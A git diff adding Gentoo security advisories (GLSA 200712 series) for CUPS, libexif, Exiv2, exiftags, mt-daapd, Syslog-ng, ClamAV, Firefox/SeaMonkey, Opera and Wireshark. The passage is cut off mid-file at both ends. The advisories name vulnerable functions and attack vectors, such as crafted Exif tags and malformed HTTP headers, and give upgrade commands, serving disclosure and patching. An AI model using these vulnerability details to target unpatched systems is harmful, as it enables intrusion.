+    file "/usr/libexec/cups/backend/snmp". Please note that the file is
+    reinstalled if you merge CUPS again later. To disable the pdftops
+    filter, delete all lines referencing "pdftops" in CUPS' "mime.convs"
+    configuration file. To work around the third vulnerability, disable SSL
+    support via the corresponding USE flag.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.2.12-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4045">CVE-2007-4045</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5849">CVE-2007-5849</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6358">CVE-2007-6358</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200703-28.xml">GLSA 200703-28</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 14 Dec 2007 15:44:48 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 14 Dec 2007 15:45:00 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 15 Dec 2007 13:31:00 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-15.xml b/xml/htdocs/security/en/glsa/glsa-200712-15.xml
new file mode 100644
index 00000000..8552b155
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-15.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-15">
+  <title>libexif: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities in libexif possibly allow for the execution of
+    arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">libexif</product>
+  <announced>December 29, 2007</announced>
+  <revised>December 29, 2007: 01</revised>
+  <bug>202350</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libexif" auto="yes" arch="*">
+      <unaffected range="ge">0.6.16-r1</unaffected>
+      <vulnerable range="lt">0.6.16-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libexif is a library for parsing, editing and saving Exif metadata from
+    images. Exif, the Exchangeable image file format, specifies the
+    addition of metadata tags to JPEG, TIFF and RIFF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Meder Kydyraliev (Google Security) discovered an integer overflow
+    vulnerability in the exif_data_load_data_thumbnail() function leading
+    to a memory corruption (CVE-2007-6352) and an infinite recursion in the
+    exif_loader_write() function (CVE-2007-6351).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice the user of an application making use of
+    libexif to load an image file with specially crafted Exif tags,
+    possibly resulting in the execution of arbitrary code with the
+    privileges of the user running the application or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libexif users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libexif-0.6.16-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6351">CVE-2007-6351</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6352">CVE-2007-6352</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Dec 2007 23:07:24 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 23 Dec 2007 19:26:36 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 23 Dec 2007 19:28:21 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-16.xml b/xml/htdocs/security/en/glsa/glsa-200712-16.xml
new file mode 100644
index 00000000..b5191f61
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-16.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-16">
+  <title>Exiv2: Integer overflow</title>
+  <synopsis>
+    An integer overflow vulnerability in Exiv2 possibly allows for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">exiv2</product>
+  <announced>December 29, 2007</announced>
+  <revised>December 29, 2007: 01</revised>
+  <bug>202351</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/exiv2" auto="yes" arch="*">
+      <unaffected range="ge">0.13-r1</unaffected>
+      <vulnerable range="lt">0.13-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Exiv2 is a C++ library and set of tools for parsing, editing and saving
+    Exif and IPTC metadata from images. Exif, the Exchangeable image file
+    format, specifies the addition of metadata tags to JPEG, TIFF and RIFF
+    files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Meder Kydyraliev (Google Security) discovered an integer overflow
+    vulnerability in the JpegThumbnail::setDataArea() method leading to a
+    heap-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice the user of an application making use of Exiv2
+    or an application included in Exiv2 to load an image file with
+    specially crafted Exif tags, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Exiv2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/exiv2-0.13-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6353">CVE-2007-6353</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Dec 2007 23:04:55 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 23 Dec 2007 19:26:11 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 23 Dec 2007 19:28:25 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-17.xml b/xml/htdocs/security/en/glsa/glsa-200712-17.xml
new file mode 100644
index 00000000..43e5157f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-17.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-17">
+  <title>exiftags: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in exiftags possibly allow for the execution of
+    arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">exiftags</product>
+  <announced>December 29, 2007</announced>
+  <revised>December 29, 2007: 01</revised>
+  <bug>202354</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/exiftags" auto="yes" arch="*">
+      <unaffected range="ge">1.01</unaffected>
+      <vulnerable range="lt">1.01</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    exiftags is a library and set of tools for parsing, editing and saving
+    Exif metadata from images. Exif, the Exchangeable image file format,
+    specifies the addition of metadata tags to JPEG, TIFF and RIFF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Meder Kydyraliev (Google Security) discovered that Exif metadata is not
+    properly sanitized before being processed, resulting in illegal memory
+    access in the postprop() and other functions (CVE-2007-6354). He also
+    discovered integer overflow vulnerabilities in the parsetag() and other
+    functions (CVE-2007-6355) and an infinite recursion in the readifds()
+    function caused by recursive IFD references (CVE-2007-6356).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice the user of an application making use of
+    exiftags or an application included in exiftags to load an image file
+    with specially crafted Exif tags, possibly resulting in the execution
+    of arbitrary code with the privileges of the user running the
+    application or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All exiftags users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/exiftags-1.01&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6354">CVE-2007-6354</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6355">CVE-2007-6355</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6356">CVE-2007-6356</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 18 Dec 2007 01:37:57 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 23 Dec 2007 19:27:52 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 23 Dec 2007 19:28:18 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-18.xml b/xml/htdocs/security/en/glsa/glsa-200712-18.xml
new file mode 100644
index 00000000..13f6756d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-18.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-18">
+  <title>Multi-Threaded DAAP Daemon: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in the web server in the Multi-Threaded DAAP
+    Daemon may lead to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mt-daapd</product>
+  <announced>December 29, 2007</announced>
+  <revised>December 29, 2007: 01</revised>
+  <bug>200110</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/mt-daapd" auto="yes" arch="*">
+      <unaffected range="ge">0.2.4.1</unaffected>
+      <vulnerable range="lt">0.2.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Multi-Threaded DAAP Daemon (mt-daapd), also known as the Firefly Media
+    Server, is a software to serve digital music to the Roku Soundbridge
+    and Apple's iTunes.
+    </p>
+  </background>
+  <description>
+    <p>
+    nnp discovered multiple vulnerabilities in the XML-RPC handler in the
+    file webserver.c. The ws_addarg() function contains a format string
+    vulnerability, as it does not properly sanitize username and password
+    data from the "Authorization: Basic" HTTP header line (CVE-2007-5825).
+    The ws_decodepassword() and ws_getheaders() functions do not correctly
+    handle empty Authorization header lines, or header lines without a ':'
+    character, leading to NULL pointer dereferences (CVE-2007-5824).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted HTTP requests to the web
+    server in the Multi-Threaded DAAP Daemon, possibly leading to the
+    execution of arbitrary code with the privileges of the user running the
+    web server or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Multi-Threaded DAAP Daemon users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/mt-daapd-0.2.4.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5824">CVE-2007-5824</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5825">CVE-2007-5825</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 18 Dec 2007 21:05:33 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 23 Dec 2007 20:01:54 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 23 Dec 2007 20:02:16 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-19.xml b/xml/htdocs/security/en/glsa/glsa-200712-19.xml
new file mode 100644
index 00000000..cc78f7c8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-19.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-19">
+  <title>Syslog-ng: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability has been discovered in Syslog-ng.
+  </synopsis>
+  <product type="ebuild">syslog-ng</product>
+  <announced>December 29, 2007</announced>
+  <revised>December 29, 2007: 01</revised>
+  <bug>202718</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/syslog-ng" auto="yes" arch="*">
+      <unaffected range="ge">2.0.6</unaffected>
+      <vulnerable range="lt">2.0.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Syslog-ng is a flexible and scalable system logger.
+    </p>
+  </background>
+  <description>
+    <p>
+    Oriol Carreras reported a NULL pointer dereference in the
+    log_msg_parse() function when processing timestamps without a
+    terminating whitespace character.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted event to a vulnerable
+    Syslog-ng server, resulting in a crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Syslog-ng users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/syslog-ng-2.0.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6437">CVE-2007-6437</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 22 Dec 2007 13:17:29 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Dec 2007 23:09:28 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 28 Dec 2007 23:09:43 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-20.xml b/xml/htdocs/security/en/glsa/glsa-200712-20.xml
new file mode 100644
index 00000000..901937d7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-20.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-20">
+  <title>ClamAV: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in ClamAV allowing remote
+    execution of arbitrary code and Denial of Service attacks.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>December 29, 2007</announced>
+  <revised>December 29, 2007: 01</revised>
+  <bug>202762</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.91.2-r1</unaffected>
+      <vulnerable range="lt">0.91.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a free anti-virus toolkit for UNIX, designed
+    especially for e-mail scanning on mail gateways.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDefense reported an integer overflow vulnerability in the cli_scanpe()
+    function when parsing Portable Executable (PE) files packed in the MEW
+    format, that could be exploited to cause a heap-based buffer overflow
+    (CVE-2007-6335). Toeroek Edwin reported an off-by-one error when
+    decompressing MS-ZIP compressed CAB files (CVE-2007-6336). An
+    unspecified vulnerability related to the bzip2 decompression algorithm
+    has also been discovered (CVE-2007-6337).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could entice a user or automated system to scan a
+    specially crafted file, possibly leading to the execution of arbitrary
+    code with the privileges of the user running ClamAV (either a system
+    user or the "clamav" user if clamd is compromised).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.91.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6335">CVE-2007-6335</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6336">CVE-2007-6336</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6337">CVE-2007-6337</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 27 Dec 2007 00:36:49 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 28 Dec 2007 22:56:45 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-21.xml b/xml/htdocs/security/en/glsa/glsa-200712-21.xml
new file mode 100644
index 00000000..49fc327c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-21.xml
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-21">
+  <title>Mozilla Firefox, SeaMonkey: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Mozilla Firefox and
+    Mozilla Seamonkey.
+  </synopsis>
+  <product type="ebuild">firefox seamonkey</product>
+  <announced>December 29, 2007</announced>
+  <revised>December 29, 2007: 01</revised>
+  <bug>198965</bug>
+  <bug>200909</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.11</unaffected>
+      <vulnerable range="lt">2.0.0.11</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.11</unaffected>
+      <vulnerable range="lt">2.0.0.11</vulnerable>
+    </package>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.1.7</unaffected>
+      <vulnerable range="lt">1.1.7</vulnerable>
+    </package>
+    <package name="www-client/seamonkey-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.1.7</unaffected>
+      <vulnerable range="lt">1.1.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is a cross-platform web browser from Mozilla. SeaMonkey
+    is a free, cross-platform Internet suite.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jesse Ruderman and Petko D. Petkov reported that the jar protocol
+    handler in Mozilla Firefox and Seamonkey does not properly check MIME
+    types (CVE-2007-5947). Gregory Fleischer reported that the
+    window.location property can be used to generate a fake HTTP Referer
+    (CVE-2007-5960). Multiple memory errors have also been reported
+    (CVE-2007-5959).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly exploit these vulnerabilities to
+    execute arbitrary code in the context of the browser and conduct
+    Cross-Site-Scripting or Cross-Site Request Forgery attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-2.0.0.11&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-2.0.0.11&quot;</code>
+    <p>
+    All SeaMonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.1.7&quot;</code>
+    <p>
+    All SeaMonkey binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-bin-1.1.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5947">CVE-2007-5947</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5959">CVE-2007-5959</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5960">CVE-2007-5960</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Dec 2007 23:32:55 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 12 Dec 2007 16:56:13 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 24 Dec 2007 11:43:38 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-22.xml b/xml/htdocs/security/en/glsa/glsa-200712-22.xml
new file mode 100644
index 00000000..24880087
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-22.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-22">
+  <title>Opera: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were discovered in Opera, allowing for the
+    execution of arbitrary code and cross domain scripting.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>December 30, 2007</announced>
+  <revised>December 30, 2007: 01</revised>
+  <bug>202770</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">9.25</unaffected>
+      <vulnerable range="lt">9.25</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a fast Web browser that is available free of charge.
+    </p>
+  </background>
+  <description>
+    <p>
+    David Bloom reported two vulnerabilities where plug-ins (CVE-2007-6520)
+    and Rich text editing (CVE-2007-6522) could be used to allow cross
+    domain scripting. Alexander Klink (Cynops GmbH) discovered an issue
+    with TLS certificates (CVE-2007-6521). Gynvael Coldwind reported that
+    bitmaps might reveal random data from memory (CVE-2007-6524).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilites, possibly leading
+    to the execution of arbitrary code and cross domain scripting.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-9.25&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6520">CVE-2007-6520</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6521">CVE-2007-6521</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6522">CVE-2007-6522</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6524">CVE-2007-6524</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 22 Dec 2007 14:34:50 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Dec 2007 15:15:57 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 23 Dec 2007 19:32:13 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-23.xml b/xml/htdocs/security/en/glsa/glsa-200712-23.xml
new file mode 100644
index 00000000..522e96bd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-23.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-23">
+  <title>Wireshark: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Wireshark, allowing for
+    the remote execution of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>December 30, 2007</announced>
+  <revised>December 30, 2007: 01</revised>
+  <bug>199958</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">0.99.7</unaffected>
+      <vulnerable range="lt">0.99.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a network protocol analyzer with a graphical front-end.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple buffer overflows and infinite loops were discovered in
+    multiple dissector and parser components, including those for MP3 and
+    NCP (CVE-2007-6111), PPP (CVE-2007-6112), DNP (CVE-2007-6113), SSL and
+    iSeries (OS/400) Communication traces (CVE-2007-6114), ANSI MAP
+    (CVE-2007-6115), Firebird/Interbase (CVE-2007-6116), HTTP
+    (CVE-2007-6117), MEGACO (CVE-2007-6118), DCP ETSI (CVE-2007-6119),
+    Bluetooth SDP (CVE-2007-6120), RPC Portmap (CVE-2007-6121), SMB
+    (CVE-2007-6438), IPv6 amd USB (CVE-2007-6439), WiMAX (CVE-2007-6441),
+    RPL (CVE-2007-6450), CIP (CVE-2007-6451). The vulnerabilities were
+    discovered by Stefan Esser, Beyond Security, Fabiodds, Peter Leeming,
+    Steve and ainsley.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted packets on a network
+    being monitored with Wireshark or entice a user to open a specially
+    crafted file, possibly resulting in the execution of arbitrary code
+    with the privileges of the user running Wireshark (which might be the
+    root user), or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-0.99.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6111">CVE-2007-6111</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6112">CVE-2007-6112</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6113">CVE-2007-6113</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6114">CVE-2007-6114</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6115">CVE-2007-6115</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6116">CVE-2007-6116</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6117">CVE-2007-6117</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6118">CVE-2007-6118</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6119">CVE-2007-6119</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6120">CVE-2007-6120</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6121">CVE-2007-6121</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6438">CVE-2007-6438</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6439">CVE-2007-6439</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6441">CVE-2007-6441</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6450">CVE-2007-6450</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6451">CVE-2007-6451</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Dec 2007 11:44:15 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 29 Dec 2007 21:41:40 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Dec 2007 22:00:22 +0000">
+    rbu
